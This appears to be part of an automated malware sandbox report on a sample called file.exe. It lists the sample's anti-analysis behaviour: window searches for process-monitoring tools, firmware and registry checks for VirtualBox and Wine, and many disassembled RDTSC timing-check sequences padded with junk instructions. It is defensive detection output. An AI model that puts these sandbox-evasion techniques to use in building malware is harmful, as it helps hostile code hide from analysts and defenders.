Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information set: NOOPENFILEERRORBOX

Jump to behavior

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\file.exe

System information queried: FirmwareTableInformation

Jump to behavior

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB0C94 second address: DB0C98 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3484B second address: F34851 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F33973 second address: F33979 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F33979 second address: F33997 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FF0F8740856h 0x00000008 push edi 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007FF0F874085Bh 0x00000011 pop edx 0x00000012 pop eax 0x00000013 push eax 0x00000014 push edx 0x00000015 push edi 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F33997 second address: F339A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edi 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F339A2 second address: F339A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F339A8 second address: F339AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F339AC second address: F339B0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F339B0 second address: F339B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F339B6 second address: F339BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F33ADF second address: F33AFA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007FF0F9102506h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d jng 00007FF0F910250Eh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F33AFA second address: F33B0C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 jmp 00007FF0F874085Ch 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F33B0C second address: F33B2E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF0F9102515h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jnc 00007FF0F9102506h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F33B2E second address: F33B34 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F33C6F second address: F33C8B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF0F9102517h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F33C8B second address: F33C92 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F33C92 second address: F33CB0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF0F9102518h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F33CB0 second address: F33CB8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F33F79 second address: F33F7D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F33F7D second address: F33F81 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F33F81 second address: F33F87 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F33F87 second address: F33F9E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnl 00007FF0F874085Eh 0x0000000c push esi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F340CB second address: F34107 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push edi 0x00000004 pop edi 0x00000005 jmp 00007FF0F9102519h 0x0000000a pop ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d jc 00007FF0F9102506h 0x00000013 jmp 00007FF0F9102515h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F36F6E second address: F36FF6 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FF0F8740856h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jo 00007FF0F8740858h 0x00000010 push eax 0x00000011 pop eax 0x00000012 popad 0x00000013 mov dword ptr [esp], eax 0x00000016 mov dword ptr [ebp+122D399Eh], ecx 0x0000001c push 00000000h 0x0000001e call 00007FF0F8740859h 0x00000023 jmp 00007FF0F8740869h 0x00000028 push eax 0x00000029 pushad 0x0000002a jmp 00007FF0F874085Dh 0x0000002f jmp 00007FF0F8740866h 0x00000034 popad 0x00000035 mov eax, dword ptr [esp+04h] 0x00000039 pushad 0x0000003a ja 00007FF0F8740858h 0x00000040 push edx 0x00000041 push eax 0x00000042 pop eax 0x00000043 pop edx 0x00000044 popad 0x00000045 mov eax, dword ptr [eax] 0x00000047 push eax 0x00000048 push edx 0x00000049 jnc 00007FF0F874085Ch 0x0000004f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F36FF6 second address: F37016 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jg 00007FF0F9102506h 0x00000009 push esi 0x0000000a pop esi 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov dword ptr [esp+04h], eax 0x00000012 jnp 00007FF0F9102518h 0x00000018 push eax 0x00000019 push edx 0x0000001a js 00007FF0F9102506h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F37016 second address: F3707F instructions: 0x00000000 rdtsc 0x00000002 jo 00007FF0F8740856h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop eax 0x0000000b call 00007FF0F8740863h 0x00000010 jno 00007FF0F8740857h 0x00000016 pop ecx 0x00000017 push 00000003h 0x00000019 mov di, 57F2h 0x0000001d push 00000000h 0x0000001f jmp 00007FF0F8740863h 0x00000024 push 00000003h 0x00000026 jp 00007FF0F874085Ch 0x0000002c push C500B6C2h 0x00000031 push eax 0x00000032 push edx 0x00000033 push eax 0x00000034 push edx 0x00000035 jmp 00007FF0F8740861h 0x0000003a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3707F second address: F37091 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF0F910250Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F57E38 second address: F57E3D instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F57E3D second address: F57E46 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F57E46 second address: F57E4A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F55BAE second address: F55BC0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF0F910250Ch 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F55FE3 second address: F55FF9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 push edi 0x0000000a pop edi 0x0000000b jmp 00007FF0F874085Bh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F55FF9 second address: F55FFD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F55FFD second address: F56009 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007FF0F8740856h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F56009 second address: F56013 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 ja 00007FF0F9102506h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F56386 second address: F5638D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F564C0 second address: F564DC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FF0F9102516h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F56915 second address: F5691E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5691E second address: F56927 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 push edx 0x00000006 pop edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F56927 second address: F5696B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jp 00007FF0F8740869h 0x0000000b pop edx 0x0000000c pop eax 0x0000000d pushad 0x0000000e jmp 00007FF0F8740863h 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007FF0F874085Eh 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F56B0A second address: F56B2B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF0F910250Eh 0x00000009 pop ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c jl 00007FF0F9102506h 0x00000012 ja 00007FF0F9102506h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F56DC0 second address: F56DDF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007FF0F8740856h 0x0000000a pushad 0x0000000b popad 0x0000000c jmp 00007FF0F874085Ah 0x00000011 popad 0x00000012 pop eax 0x00000013 push esi 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 popad 0x00000018 pushad 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F56F43 second address: F56F47 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F56F47 second address: F56F81 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF0F8740862h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push esi 0x0000000d pop esi 0x0000000e jnc 00007FF0F8740856h 0x00000014 popad 0x00000015 jmp 00007FF0F874085Eh 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d popad 0x0000001e jnc 00007FF0F8740856h 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5AFA1 second address: F5AFB7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007FF0F9102511h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5EE4E second address: F5EE52 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F62CC5 second address: F62CC9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F62F93 second address: F62FA8 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jng 00007FF0F8740856h 0x0000000f push edi 0x00000010 pop edi 0x00000011 pop eax 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6595C second address: F65960 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F65960 second address: F65964 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F65964 second address: F65972 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jc 00007FF0F9102506h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F65AB0 second address: F65AB4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F65D27 second address: F65D2B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F65D2B second address: F65D44 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF0F8740865h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F65D44 second address: F65D49 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6604A second address: F6604E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6604E second address: F66054 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F66054 second address: F66065 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF0F874085Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F668DE second address: F668E2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F668E2 second address: F668F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FF0F874085Bh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F66ACA second address: F66AF0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push ebx 0x00000008 push esi 0x00000009 push eax 0x0000000a pop eax 0x0000000b pop esi 0x0000000c pop ebx 0x0000000d nop 0x0000000e xchg eax, ebx 0x0000000f push ecx 0x00000010 jnc 00007FF0F910250Ch 0x00000016 pop ecx 0x00000017 push eax 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b push ecx 0x0000001c pop ecx 0x0000001d pushad 0x0000001e popad 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F66F9D second address: F66FB1 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b js 00007FF0F8740856h 0x00000011 push esi 0x00000012 pop esi 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6782B second address: F67843 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF0F910250Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F67843 second address: F67890 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 nop 0x00000008 jmp 00007FF0F874085Dh 0x0000000d mov di, si 0x00000010 push 00000000h 0x00000012 sbb edi, 243C0B44h 0x00000018 push 00000000h 0x0000001a push 00000000h 0x0000001c push ecx 0x0000001d call 00007FF0F8740858h 0x00000022 pop ecx 0x00000023 mov dword ptr [esp+04h], ecx 0x00000027 add dword ptr [esp+04h], 0000001Dh 0x0000002f inc ecx 0x00000030 push ecx 0x00000031 ret 0x00000032 pop ecx 0x00000033 ret 0x00000034 xchg eax, ebx 0x00000035 pushad 0x00000036 push eax 0x00000037 push edx 0x00000038 push eax 0x00000039 push edx 0x0000003a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F67890 second address: F67894 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F69433 second address: F69439 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F69439 second address: F6943D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6943D second address: F69441 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F69EAD second address: F69EB1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F69EB1 second address: F69EFE instructions: 0x00000000 rdtsc 0x00000002 ja 00007FF0F874085Ch 0x00000008 ja 00007FF0F8740856h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 nop 0x00000011 push 00000000h 0x00000013 push esi 0x00000014 call 00007FF0F8740858h 0x00000019 pop esi 0x0000001a mov dword ptr [esp+04h], esi 0x0000001e add dword ptr [esp+04h], 00000017h 0x00000026 inc esi 0x00000027 push esi 0x00000028 ret 0x00000029 pop esi 0x0000002a ret 0x0000002b mov esi, ecx 0x0000002d push 00000000h 0x0000002f xor si, ACF1h 0x00000034 xor dword ptr [ebp+122D1E76h], edi 0x0000003a push 00000000h 0x0000003c mov dword ptr [ebp+122D18F4h], ecx 0x00000042 xchg eax, ebx 0x00000043 pushad 0x00000044 push eax 0x00000045 push edx 0x00000046 push eax 0x00000047 push edx 0x00000048 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F69EFE second address: F69F02 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F69F02 second address: F69F06 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F69CDA second address: F69CE0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6A92A second address: F6A92E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6A92E second address: F6A938 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FF0F9102506h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6A938 second address: F6A955 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FF0F874085Bh 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e js 00007FF0F8740868h 0x00000014 pushad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6BEC1 second address: F6BECC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jne 00007FF0F9102506h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6BCE3 second address: F6BCE9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6F997 second address: F6FA17 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 push eax 0x00000008 pushad 0x00000009 jbe 00007FF0F9102511h 0x0000000f jmp 00007FF0F910250Bh 0x00000014 pushad 0x00000015 pushad 0x00000016 popad 0x00000017 jmp 00007FF0F910250Ch 0x0000001c popad 0x0000001d popad 0x0000001e nop 0x0000001f push 00000000h 0x00000021 push esi 0x00000022 call 00007FF0F9102508h 0x00000027 pop esi 0x00000028 mov dword ptr [esp+04h], esi 0x0000002c add dword ptr [esp+04h], 0000001Dh 0x00000034 inc esi 0x00000035 push esi 0x00000036 ret 0x00000037 pop esi 0x00000038 ret 0x00000039 push 00000000h 0x0000003b mov dword ptr [ebp+122D3369h], eax 0x00000041 push 00000000h 0x00000043 mov dword ptr [ebp+122D1E31h], eax 0x00000049 xchg eax, esi 0x0000004a ja 00007FF0F9102514h 0x00000050 push eax 0x00000051 pushad 0x00000052 js 00007FF0F910250Ch 0x00000058 push eax 0x00000059 push edx 0x0000005a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F729FD second address: F72A07 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FF0F874085Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F770FE second address: F7710B instructions: 0x00000000 rdtsc 0x00000002 je 00007FF0F9102506h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F71E3C second address: F71E40 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F790C2 second address: F790C8 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F790C8 second address: F79121 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF0F874085Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c push 00000000h 0x0000000e push ebp 0x0000000f call 00007FF0F8740858h 0x00000014 pop ebp 0x00000015 mov dword ptr [esp+04h], ebp 0x00000019 add dword ptr [esp+04h], 0000001Dh 0x00000021 inc ebp 0x00000022 push ebp 0x00000023 ret 0x00000024 pop ebp 0x00000025 ret 0x00000026 jl 00007FF0F874085Ch 0x0000002c or ebx, 54F65592h 0x00000032 push 00000000h 0x00000034 mov ebx, ecx 0x00000036 mov bh, 62h 0x00000038 push 00000000h 0x0000003a push ecx 0x0000003b movzx ebx, ax 0x0000003e pop ebx 0x0000003f xchg eax, esi 0x00000040 push ebx 0x00000041 push eax 0x00000042 push edx 0x00000043 jp 00007FF0F8740856h 0x00000049 rdtsc
